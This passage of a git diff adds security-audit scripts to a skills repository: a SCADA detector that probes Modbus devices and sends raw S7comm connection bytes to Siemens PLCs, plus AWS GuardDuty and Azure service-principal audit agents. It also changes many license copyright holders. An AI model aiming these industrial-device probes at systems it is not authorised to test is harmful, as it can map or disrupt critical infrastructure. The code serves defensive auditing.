"check": f"Broadcast unit ID {test_unit}", + "status": "accessible", + "severity": "CRITICAL", + "detail": f"Unit ID {test_unit} responds — broadcast address accessible", + }) + + rr = client.read_coils(0, count=100, slave=unit_id) + if not rr.isError(): + findings.append({ + "check": "Bulk coil read", + "status": "accessible", + "severity": "MEDIUM", + "detail": f"100 coils readable from address 0", + }) + + except Exception as e: + findings.append({"check": "error", "detail": str(e)}) + finally: + client.close() + + return {"host": host, "findings": findings} + + +def detect_s7comm_access(host, port=102): + """Test Siemens S7comm accessibility (basic connection test).""" + result = {"host": host, "port": port, "protocol": "S7comm"} + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(5) + sock.connect((host, port)) + cotp_cr = bytes([ + 0x03, 0x00, 0x00, 0x16, + 0x11, 0xe0, 0x00, 0x00, + 0x00, 0x01, 0x00, 0xc0, + 0x01, 0x0a, 0xc1, 0x02, + 0x01, 0x00, 0xc2, 0x02, + 0x01, 0x02, + ]) + sock.send(cotp_cr) + resp = sock.recv(1024) + sock.close() + if len(resp) > 0: + result["accessible"] = True + result["finding"] = "S7comm COTP connection accepted — PLC accessible" + result["severity"] = "CRITICAL" + else: + result["accessible"] = False + except Exception as e: + result["accessible"] = False + result["error"] = str(e) + return result + + +def query_scada_siem(siem_url, api_key, hours=24): + """Query SIEM for SCADA-related security events.""" + headers = {"Authorization": f"Bearer {api_key}"} + try: + resp = requests.get(f"{siem_url}/api/v1/events", headers=headers, + params={"category": "scada", "hours": hours}, timeout=15) + resp.raise_for_status() + events = resp.json().get("events", []) + findings = [] + for evt in events: + if evt.get("severity", 0) >= 7: + findings.append({ + "event_id": evt.get("id", ""), + "source": evt.get("source_ip", ""), + "target": evt.get("dest_ip", ""), + "description": evt.get("description", ""), + "severity": "CRITICAL" if evt["severity"] >= 9 else "HIGH", + }) + return findings + except Exception as e: + return [{"error": str(e)}] + + +def run_audit(args): + """Execute SCADA attack detection audit.""" + print(f"\n{'='*60}") + print(f" SCADA SYSTEM ATTACK DETECTION") + print(f" Generated: {datetime.utcnow().isoformat()} UTC") + print(f"{'='*60}\n") + + report = {} + + if args.host: + services = scan_scada_services(args.host) + report["scada_services"] = services + print(f"--- SCADA SERVICE SCAN ({args.host}) ---") + if services: + for s in services: + print(f" [{s['severity']}] {s['protocol']} on port {s['port']}") + else: + print(" No SCADA ports detected (good segmentation)") + + if args.modbus_host: + modbus = detect_modbus_anomalies(args.modbus_host, args.modbus_port or 502) + report["modbus_audit"] = modbus + print(f"\n--- MODBUS ANOMALY DETECTION ---") + for f in modbus.get("findings", []): + print(f" [{f.get('severity','')}] {f['check']}: {f.get('detail','')[:80]}") + + if args.s7_host: + s7 = detect_s7comm_access(args.s7_host) + report["s7comm_check"] = s7 + print(f"\n--- S7COMM ACCESS CHECK ---") + print(f" Accessible: {s7.get('accessible', False)}") + if s7.get("finding"): + print(f" [{s7['severity']}] {s7['finding']}") + + return report + + +def main(): + parser = argparse.ArgumentParser(description="SCADA Attack Detection Agent") + parser.add_argument("--host", help="SCADA host to scan for services") + parser.add_argument("--modbus-host", help="Modbus device to audit") + parser.add_argument("--modbus-port", type=int, default=502) + parser.add_argument("--s7-host", help="Siemens S7 PLC to check") + parser.add_argument("--siem-url", help="SIEM API URL for SCADA events") + parser.add_argument("--siem-key", help="SIEM API key") + parser.add_argument("--output", help="Save report to JSON file") + args = parser.parse_args() + + report = run_audit(args) + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"\n[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/detecting-aws-credential-exposure-with-trufflehog/LICENSE b/skills/detecting-aws-credential-exposure-with-trufflehog/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/detecting-aws-credential-exposure-with-trufflehog/LICENSE +++ b/skills/detecting-aws-credential-exposure-with-trufflehog/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/detecting-aws-guardduty-findings-automation/LICENSE b/skills/detecting-aws-guardduty-findings-automation/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/detecting-aws-guardduty-findings-automation/LICENSE +++ b/skills/detecting-aws-guardduty-findings-automation/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/detecting-aws-guardduty-findings-automation/references/api-reference.md b/skills/detecting-aws-guardduty-findings-automation/references/api-reference.md new file mode 100644 index 00000000..afc4de05 --- /dev/null +++ b/skills/detecting-aws-guardduty-findings-automation/references/api-reference.md @@ -0,0 +1,69 @@ +# AWS GuardDuty Findings Automation — API Reference + +## Libraries + +| Library | Install | Purpose | +|---------|---------|---------| +| boto3 | `pip install boto3` | AWS SDK for GuardDuty API | + +## Key boto3 GuardDuty Methods + +| Method | Description | +|--------|-------------| +| `list_detectors()` | List GuardDuty detector IDs | +| `get_detector(DetectorId=)` | Get detector configuration | +| `list_findings(DetectorId=, FindingCriteria=)` | Query finding IDs | +| `get_findings(DetectorId=, FindingIds=[])` | Get finding details | +| `get_findings_statistics(DetectorId=)` | Finding counts by severity | +| `archive_findings(DetectorId=, FindingIds=[])` | Archive processed findings | +| `list_members(DetectorId=)` | List member accounts (multi-account) | +| `create_sample_findings(DetectorId=)` | Generate sample findings for testing | + +## Finding Severity Levels + +| Range | Level | Description | +|-------|-------|-------------| +| 7.0-8.9 | High | Compromised resource, active threat | +| 4.0-6.9 | Medium | Suspicious activity, potential threat | +| 1.0-3.9 | Low | Attempted suspicious activity | + +## GuardDuty Finding Types + +| Type Prefix | Category | +|-------------|----------| +| `Recon:` | Reconnaissance activity | +| `UnauthorizedAccess:` | Unauthorized access attempt | +| `CryptoCurrency:` | Crypto mining activity | +| `Trojan:` | Malware communication | +| `Stealth:` | Logging/monitoring evasion | +| `Policy:` | Policy violation | +| `Persistence:` | Persistence mechanism | + +## GuardDuty Protection Features + +| Feature | Description | +|---------|-------------| +| S3_DATA_EVENTS | S3 data plane monitoring | +| EKS_AUDIT_LOGS | EKS control plane monitoring | +| EBS_MALWARE_PROTECTION | EBS volume malware scanning | +| RDS_LOGIN_EVENTS | RDS login activity monitoring | +| LAMBDA_NETWORK_LOGS | Lambda function network monitoring | +| RUNTIME_MONITORING | EC2/ECS/EKS runtime threat detection | + +## FindingCriteria Filter + +```python +criteria = { + "Criterion": { + "severity": {"Gte": 7.0}, + "service.archived": {"Eq": ["false"]}, + "type": {"Eq": ["UnauthorizedAccess:EC2/SSHBruteForce"]}, + } +} +``` + +## External References + +- [GuardDuty API Reference](https://docs.aws.amazon.com/guardduty/latest/APIReference/) +- [GuardDuty Finding Types](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html) +- [GuardDuty Multi-Account](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_accounts.html) diff --git a/skills/detecting-aws-guardduty-findings-automation/scripts/agent.py b/skills/detecting-aws-guardduty-findings-automation/scripts/agent.py new file mode 100644 index 00000000..ad277381 --- /dev/null +++ b/skills/detecting-aws-guardduty-findings-automation/scripts/agent.py @@ -0,0 +1,214 @@ +#!/usr/bin/env python3 +"""AWS GuardDuty findings automation and detection agent.""" + +import json +import sys +import argparse +from datetime import datetime + +try: + import boto3 + from botocore.exceptions import ClientError +except ImportError: + print("Install: pip install boto3") + sys.exit(1) + + +def get_guardduty_detector(session): + """Get the active GuardDuty detector ID.""" + gd = session.client("guardduty") + detectors = gd.list_detectors()["DetectorIds"] + if not detectors: + return None + return detectors[0] + + +def list_findings(session, detector_id, severity_min=4.0, max_results=50): + """List GuardDuty findings filtered by severity.""" + gd = session.client("guardduty") + criteria = { + "Criterion": { + "severity": {"Gte": severity_min}, + "service.archived": {"Eq": ["false"]}, + } + } + finding_ids = gd.list_findings( + DetectorId=detector_id, + FindingCriteria=criteria, + SortCriteria={"AttributeName": "severity", "OrderBy": "DESC"}, + MaxResults=max_results, + )["FindingIds"] + + if not finding_ids: + return [] + + details = gd.get_findings( + DetectorId=detector_id, FindingIds=finding_ids + )["Findings"] + + results = [] + for f in details: + results.append({ + "id": f.get("Id", ""), + "type": f.get("Type", ""), + "severity": f.get("Severity", 0), + "title": f.get("Title", ""), + "description": f.get("Description", "")[:200], + "resource_type": f.get("Resource", {}).get("ResourceType", ""), + "region": f.get("Region", ""), + "first_seen": f.get("Service", {}).get("EventFirstSeen", ""), + "last_seen": f.get("Service", {}).get("EventLastSeen", ""), + "count": f.get("Service", {}).get("Count", 0), + "action_type": f.get("Service", {}).get("Action", {}).get("ActionType", ""), + }) + return results + + +def get_finding_statistics(session, detector_id): + """Get finding count grouped by type and severity.""" + gd = session.client("guardduty") + stats = gd.get_findings_statistics( + DetectorId=detector_id, + FindingStatisticTypes=["COUNT_BY_SEVERITY"], + ) + return stats.get("FindingStatistics", {}) + + +def check_detector_configuration(session, detector_id): + """Audit GuardDuty detector configuration for coverage gaps.""" + gd = session.client("guardduty") + findings = [] + + detector = gd.get_detector(DetectorId=detector_id) + status = detector.get("Status", "") + if status != "ENABLED": + findings.append({ + "check": "Detector status", + "status": status, + "severity": "CRITICAL", + "issue": "GuardDuty detector is not enabled", + }) + + features = detector.get("Features", []) + expected_features = { + "S3_DATA_EVENTS", "EKS_AUDIT_LOGS", "EBS_MALWARE_PROTECTION", + "RDS_LOGIN_EVENTS", "LAMBDA_NETWORK_LOGS", "RUNTIME_MONITORING", + } + enabled_features = set() + for feat in features: + if feat.get("Status") == "ENABLED": + enabled_features.add(feat.get("Name", "")) + + missing = expected_features - enabled_features + for m in missing: + findings.append({ + "check": f"Feature: {m}", + "status": "DISABLED", + "severity": "HIGH", + "issue": f"GuardDuty feature {m} not enabled — reduced detection coverage", + }) + + return findings + + +def check_member_accounts(session, detector_id): + """Check GuardDuty member account enrollment in multi-account setup.""" + gd = session.client("guardduty") + members = gd.list_members( + DetectorId=detector_id, OnlyAssociated="true" + ).get("Members", []) + + results = [] + for m in members: + status = m.get("RelationshipStatus", "") + results.append({ + "account_id": m.get("AccountId", ""), + "email": m.get("Email", ""), + "status": status, + "detector_id": m.get("DetectorId", ""), + }) + if status != "Enabled": + results[-1]["finding"] = f"Member account not fully enabled: {status}" + results[-1]["severity"] = "HIGH" + return results + + +def auto_archive_low_severity(session, detector_id, threshold=2.0): + """Auto-archive findings below severity threshold.""" + gd = session.client("guardduty") + criteria = { + "Criterion": { + "severity": {"Lt": threshold}, + "service.archived": {"Eq": ["false"]}, + } + } + finding_ids = gd.list_findings( + DetectorId=detector_id, + FindingCriteria=criteria, + MaxResults=100, + )["FindingIds"] + + if finding_ids: + gd.archive_findings(DetectorId=detector_id, FindingIds=finding_ids) + return {"archived_count": len(finding_ids)} + + +def run_audit(args): + """Execute GuardDuty findings automation audit.""" + print(f"\n{'='*60}") + print(f" AWS GUARDDUTY FINDINGS AUTOMATION") + print(f" Generated: {datetime.utcnow().isoformat()} UTC") + print(f"{'='*60}\n") + + session = boto3.Session(profile_name=args.profile, region_name=args.region) + report = {} + + detector_id = get_guardduty_detector(session) + if not detector_id: + print("ERROR: No GuardDuty detector found") + return {"error": "No detector found"} + + report["detector_id"] = detector_id + print(f"Detector ID: {detector_id}\n") + + config_findings = check_detector_configuration(session, detector_id) + report["configuration_findings"] = config_findings + print(f"--- CONFIGURATION AUDIT ({len(config_findings)} findings) ---") + for f in config_findings: + print(f" [{f['severity']}] {f['check']}: {f['issue']}") + + findings = list_findings(session, detector_id, args.min_severity) + report["active_findings"] = len(findings) + print(f"\n--- ACTIVE FINDINGS ({len(findings)}, severity >= {args.min_severity}) ---") + for f in findings[:15]: + print(f" [{f['severity']:.1f}] {f['type']}") + print(f" {f['title'][:80]}") + + members = check_member_accounts(session, detector_id) + report["member_accounts"] = members + print(f"\n--- MEMBER ACCOUNTS ({len(members)}) ---") + for m in members: + status_icon = "OK" if m["status"] == "Enabled" else "WARN" + print(f" [{status_icon}] {m['account_id']}: {m['status']}") + + return report + + +def main(): + parser = argparse.ArgumentParser(description="GuardDuty Findings Automation Agent") + parser.add_argument("--profile", default=None, help="AWS profile name") + parser.add_argument("--region", default="us-east-1", help="AWS region") + parser.add_argument("--min-severity", type=float, default=4.0, + help="Minimum severity threshold (default: 4.0)") + parser.add_argument("--output", help="Save report to JSON file") + args = parser.parse_args() + + report = run_audit(args) + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"\n[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/detecting-azure-service-principal-abuse/LICENSE b/skills/detecting-azure-service-principal-abuse/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/detecting-azure-service-principal-abuse/LICENSE +++ b/skills/detecting-azure-service-principal-abuse/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/detecting-azure-service-principal-abuse/references/api-reference.md b/skills/detecting-azure-service-principal-abuse/references/api-reference.md new file mode 100644 index 00000000..1d20a0c8 --- /dev/null +++ b/skills/detecting-azure-service-principal-abuse/references/api-reference.md @@ -0,0 +1,61 @@ +# Azure Service Principal Abuse Detection — API Reference + +## Libraries + +| Library | Install | Purpose | +|---------|---------|---------| +| azure-identity | `pip install azure-identity` | Azure AD authentication | +| requests | `pip install requests` | Microsoft Graph API client | + +## Microsoft Graph API Endpoints + +| Method | Endpoint | Description | +|--------|----------|-------------| +| GET | `/v1.0/servicePrincipals` | List service principals | +| GET | `/v1.0/servicePrincipals/{id}` | Get SP details and credentials | +| GET | `/v1.0/servicePrincipals/{id}/appRoleAssignments` | SP role assignments | +| GET | `/v1.0/directoryRoles` | List directory roles | +| GET | `/v1.0/directoryRoles/{id}/members` | Role members (includes SPs) | +| GET | `/v1.0/auditLogs/signIns` | Sign-in logs for SP activity | +| GET | `/v1.0/auditLogs/directoryAudits` | Directory change audit logs | + +## OAuth2 Token Endpoint + +``` +POST https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token +grant_type=client_credentials +scope=https://graph.microsoft.com/.default +``` + +## High-Privilege Directory Roles + +| Role | Risk | +|------|------| +| Global Administrator | Full tenant control | +| Application Administrator | Can create/manage all apps | +| Cloud Application Administrator | Manage cloud app registrations | +| Privileged Role Administrator | Manage role assignments | + +## Service Principal Abuse Indicators + +| Indicator | Description | Severity | +|-----------|-------------|----------| +| Multiple password credentials | Possible backdoor persistence | HIGH | +| Expired credentials not removed | Credential hygiene gap | MEDIUM | +| SP with Global Admin role | Overprivileged automation | CRITICAL | +| Unusual sign-in location | Compromised SP credentials | HIGH | +| New credential added to SP | Persistence via credential injection | CRITICAL | + +## MITRE ATT&CK Mapping + +| Technique | ID | Description | +|-----------|----|-------------| +| Account Manipulation | T1098 | Add credentials to SP | +| Valid Accounts: Cloud | T1078.004 | Abuse SP credentials | +| Trusted Relationship | T1199 | Abuse multi-tenant SP trust | + +## External References + +- [Microsoft Graph API: Service Principals](https://learn.microsoft.com/en-us/graph/api/resources/serviceprincipal) +- [Azure AD Sign-in Logs](https://learn.microsoft.com/en-us/entra/identity/monitoring-health/concept-sign-ins) +- [Detecting Azure AD Backdoors](https://posts.specterops.io/) diff --git a/skills/detecting-azure-service-principal-abuse/scripts/agent.py b/skills/detecting-azure-service-principal-abuse/scripts/agent.py new file mode 100644 index 00000000..53eaa7c7 --- /dev/null +++ b/skills/detecting-azure-service-principal-abuse/scripts/agent.py @@ -0,0 +1,189 @@ +#!/usr/bin/env python3 +"""Azure Service Principal abuse detection agent.""" + +import json +import sys +import argparse +from datetime import datetime, timedelta + +try: + from azure.identity import ClientSecretCredential + from azure.mgmt.authorization import AuthorizationManagementClient + from azure.graphrbac import GraphRbacManagementClient +except ImportError: + ClientSecretCredential = None + +try: + import requests +except ImportError: + print("Install: pip install requests") + sys.exit(1) + + +class AzureGraphClient: + """Client for Microsoft Graph API to audit service principals.""" + + def __init__(self, tenant_id, client_id, client_secret): + self.tenant_id = tenant_id + self.token = self._get_token(tenant_id, client_id, client_secret) + self.headers = {"Authorization": f"Bearer {self.token}"} + + def _get_token(self, tenant_id, client_id, client_secret): + resp = requests.post( + f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token", + data={ + "grant_type": "client_credentials", + "client_id": client_id, + "client_secret": client_secret, + "scope": "https://graph.microsoft.com/.default", + }, + timeout=15, + ) + resp.raise_for_status() + return resp.json()["access_token"] + + def _get(self, endpoint, params=None): + resp = requests.get(f"https://graph.microsoft.com/v1.0{endpoint}", + headers=self.headers, params=params, timeout=15) + resp.raise_for_status() + return resp.json() + + def list_service_principals(self): + return self._get("/servicePrincipals", params={"$top": 200}).get("value", []) + + def get_sp_credentials(self, sp_id): + return self._get(f"/servicePrincipals/{sp_id}").get("passwordCredentials", []) + + def get_sp_app_roles(self, sp_id): + return self._get(f"/servicePrincipals/{sp_id}/appRoleAssignments").get("value", []) + + def get_sign_in_logs(self, sp_id, days=7): + since = (datetime.utcnow() - timedelta(days=days)).strftime("%Y-%m-%dT%H:%M:%SZ") + return self._get("/auditLogs/signIns", params={ + "$filter": f"appId eq '{sp_id}' and createdDateTime ge {since}", + "$top": 100, + }).get("value", []) + + def get_directory_roles(self): + return self._get("/directoryRoles").get("value", []) + + def get_role_members(self, role_id): + return self._get(f"/directoryRoles/{role_id}/members").get("value", []) + + +def audit_credential_expiry(client, principals): + """Check for expired or soon-to-expire service principal credentials.""" + findings = [] + now = datetime.utcnow() + for sp in principals: + sp_id = sp.get("id", "") + display = sp.get("displayName", "") + creds = sp.get("passwordCredentials", []) + key_creds = sp.get("keyCredentials", []) + + for cred in creds + key_creds: + end_str = cred.get("endDateTime", "") + if not end_str: + continue + try: + end = datetime.fromisoformat(end_str.rstrip("Z")) + except ValueError: + continue + + if end < now: + findings.append({ + "sp_name": display, "sp_id": sp_id, + "credential_id": cred.get("keyId", ""), + "issue": "Credential expired but not removed", + "severity": "MEDIUM", "expired": end_str, + }) + elif end < now + timedelta(days=30): + findings.append({ + "sp_name": display, "sp_id": sp_id, + "issue": f"Credential expires within 30 days ({end_str})", + "severity": "LOW", + }) + + if len(creds) > 2: + findings.append({ + "sp_name": display, "sp_id": sp_id, + "issue": f"Multiple password credentials ({len(creds)}) — possible backdoor", + "severity": "HIGH", + }) + + return findings + + +def audit_privileged_sp_roles(client): + """Find service principals with high-privilege directory roles.""" + findings = [] + high_priv_roles = { + "Global Administrator", "Application Administrator", + "Cloud Application Administrator", "Privileged Role Administrator", + } + roles = client.get_directory_roles() + for role in roles: + role_name = role.get("displayName", "") + if role_name not in high_priv_roles: + continue + members = client.get_role_members(role["id"]) + for m in members: + if m.get("@odata.type") == "#microsoft.graph.servicePrincipal": + findings.append({ + "sp_name": m.get("displayName", ""), + "sp_id": m.get("id", ""), + "role": role_name, + "issue": f"Service principal has {role_name} role", + "severity": "CRITICAL", + }) + return findings + + +def run_audit(args): + """Execute Azure service principal abuse detection audit.""" + print(f"\n{'='*60}") + print(f" AZURE SERVICE PRINCIPAL ABUSE DETECTION") + print(f" Generated: {datetime.utcnow().isoformat()} UTC") + print(f"{'='*60}\n") + + client = AzureGraphClient(args.tenant_id, args.client_id, args.client_secret) + report = {} + + principals = client.list_service_principals() + report["total_service_principals"] = len(principals) + print(f"--- SERVICE PRINCIPALS ({len(principals)}) ---") + for sp in principals[:10]: + print(f" {sp.get('displayName','')}: {sp.get('appId','')[:20]}...") + + cred_findings = audit_credential_expiry(client, principals) + report["credential_findings"] = cred_findings + print(f"\n--- CREDENTIAL AUDIT ({len(cred_findings)} findings) ---") + for f in cred_findings[:15]: + print(f" [{f['severity']}] {f['sp_name']}: {f['issue']}") + + role_findings = audit_privileged_sp_roles(client) + report["privileged_role_findings"] = role_findings + print(f"\n--- PRIVILEGED ROLE ASSIGNMENTS ({len(role_findings)}) ---") + for f in role_findings: + print(f" [{f['severity']}] {f['sp_name']}: {f['role']}") + + return report + + +def main(): + parser = argparse.ArgumentParser(description="Azure SP Abuse Detection Agent") + parser.add_argument("--tenant-id", required=True, help="Azure AD tenant ID") + parser.add_argument("--client-id", required=True, help="App registration client ID") + parser.add_argument("--client-secret", required=True, help="App registration secret") + parser.add_argument("--output", help="Save report to JSON file") + args = parser.parse_args() + + report = run_audit(args) + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"\n[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/detecting-beaconing-patterns-with-zeek/LICENSE b/skills/detecting-beaconing-patterns-with-zeek/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/detecting-beaconing-patterns-with-zeek/LICENSE +++ b/skills/detecting-beaconing-patterns-with-zeek/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/detecting-broken-object-property-level-authorization/LICENSE b/skills/detecting-broken-object-property-level-authorization/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/detecting-broken-object-property-level-authorization/LICENSE +++ b/skills/detecting-broken-object-property-level-authorization/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/detecting-business-email-compromise-with-ai/LICENSE b/skills/detecting-business-email-compromise-with-ai/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/detecting-business-email-compromise-with-ai/LICENSE +++ b/skills/detecting-business-email-compromise-with-ai/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/detecting-business-email-compromise/LICENSE b/skills/detecting-business-email-compromise/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/detecting-business-email-compromise/LICENSE +++ b/skills/detecting-business-email-compromise/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/detecting-cloud-cryptomining-activity/LICENSE b/skills/detecting-cloud-cryptomining-activity/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/detecting-cloud-cryptomining-activity/LICENSE +++ b/skills/detecting-cloud-cryptomining-activity/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/detecting-cloud-threats-with-guardduty/LICENSE b/skills/detecting-cloud-threats-with-guardduty/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/detecting-cloud-threats-with-guardduty/LICENSE +++ b/skills/detecting-cloud-threats-with-guardduty/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/detecting-compromised-cloud-credentials/LICENSE b/skills/detecting-compromised-cloud-credentials/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/detecting-compromised-cloud-credentials/LICENSE +++ b/skills/detecting-compromised-cloud-credentials/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/detecting-container-drift-at-runtime/LICENSE b/skills/detecting-container-drift-at-runtime/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/detecting-container-drift-at-runtime/LICENSE +++ b/skills/detecting-container-drift-at-runtime/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/detecting-container-escape-attempts/LICENSE b/skills/detecting-container-escape-attempts/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/detecting-container-escape-attempts/LICENSE +++ b/skills/detecting-container-escape-attempts/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/detecting-container-escape-with-falco-rules/LICENSE b/skills/detecting-container-escape-with-falco-rules/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/detecting-container-escape-with-falco-rules/LICENSE +++ b/skills/detecting-container-escape-with-falco-rules/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/detecting-credential-dumping-with-edr/LICENSE b/skills/detecting-credential-dumping-with-edr/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/detecting-credential-dumping-with-edr/LICENSE +++ b/skills/detecting-credential-dumping-with-edr/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/detecting-cryptomining-in-cloud/LICENSE b/skills/detecting-cryptomining-in-cloud/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/detecting-cryptomining-in-cloud/LICENSE +++ b/skills/detecting-cryptomining-in-cloud/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/detecting-dcsync-attack-in-active-directory/LICENSE b/skills/detecting-dcsync-attack-in-active-directory/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/detecting-dcsync-attack-in-active-directory/LICENSE +++ b/skills/detecting-dcsync-attack-in-active-directory/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/detecting-dll-sideloading-attacks/LICENSE b/skills/detecting-dll-sideloading-attacks/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/detecting-dll-sideloading-attacks/LICENSE +++ b/skills/detecting-dll-sideloading-attacks/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/detecting-dnp3-protocol-anomalies/LICENSE b/skills/detecting-dnp3-protocol-anomalies/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/detecting-dnp3-protocol-anomalies/LICENSE +++ b/skills/detecting-dnp3-protocol-anomalies/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/detecting-dns-exfiltration-with-dns-query-analysis/LICENSE b/skills/detecting-dns-exfiltration-with-dns-query-analysis/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/detecting-dns-exfiltration-with-dns-query-analysis/LICENSE +++ b/skills/detecting-dns-exfiltration-with-dns-query-analysis/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/detecting-email-forwarding-rules-attack/LICENSE b/skills/detecting-email-forwarding-rules-attack/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/detecting-email-forwarding-rules-attack/LICENSE +++ b/skills/detecting-email-forwarding-rules-attack/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/detecting-evasion-techniques-in-endpoint-logs/LICENSE b/skills/detecting-evasion-techniques-in-endpoint-logs/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/detecting-evasion-techniques-in-endpoint-logs/LICENSE +++ b/skills/detecting-evasion-techniques-in-endpoint-logs/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/detecting-fileless-attacks-on-endpoints/LICENSE b/skills/detecting-fileless-attacks-on-endpoints/LICENSE index 